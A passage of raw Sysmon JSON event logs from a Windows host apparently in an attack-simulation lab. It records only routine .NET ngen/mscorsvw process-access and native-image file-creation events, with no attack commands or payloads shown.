{90617006-4307-5F2D-0000-0010956B0F00}\r\nTargetProcessId: 3820\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:45.166","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4307-5F2D-0000-0010956B0F00}","TargetProcessId":"3820","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:45","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8101,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:45.166\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4307-5F2D-0000-0010956B0F00}\r\nTargetProcessId: 3820\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:45.166","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4307-5F2D-0000-0010956B0F00}","TargetProcessId":"3820","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:45","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8102,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:45.166\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4307-5F2D-0000-0010956B0F00}\r\nTargetProcessId: 3820\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:45.166","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4307-5F2D-0000-0010956B0F00}","TargetProcessId":"3820","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:46","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8103,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:48.260\r\nProcessGuid: {90617006-4321-5F2D-0000-0010201D1000}\r\nProcessId: 3820\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\eec-0\\System.Windows.Forms.DataVisualization.dll\r\nCreationUtcTime: 2020-08-07 12:03:48.260","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:48.260","ProcessGuid":"{90617006-4321-5F2D-0000-0010201D1000}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\eec-0\\System.Windows.Forms.DataVisualization.dll","CreationUtcTime":"2020-08-07 12:03:48.260","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8104,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:48.354\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-431B-5F2D-0000-0010BFCA0F00}\r\nTargetProcessId: 3164\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:48.354","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-431B-5F2D-0000-0010BFCA0F00}","TargetProcessId":"3164","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8105,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:48.354\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-431B-5F2D-0000-0010BFCA0F00}\r\nTargetProcessId: 3164\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:48.354","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-431B-5F2D-0000-0010BFCA0F00}","TargetProcessId":"3164","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8106,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:48.354\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-431B-5F2D-0000-0010BFCA0F00}\r\nTargetProcessId: 3164\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:48.354","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-431B-5F2D-0000-0010BFCA0F00}","TargetProcessId":"3164","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8107,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:48.432\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-431B-5F2D-0000-00100BCF0F00}\r\nTargetProcessId: 4768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:48.432","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-431B-5F2D-0000-00100BCF0F00}","TargetProcessId":"4768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8108,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:48.432\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-431B-5F2D-0000-00100BCF0F00}\r\nTargetProcessId: 4768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:48.432","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-431B-5F2D-0000-00100BCF0F00}","TargetProcessId":"4768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8109,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:48.432\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-431B-5F2D-0000-00100BCF0F00}\r\nTargetProcessId: 4768\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 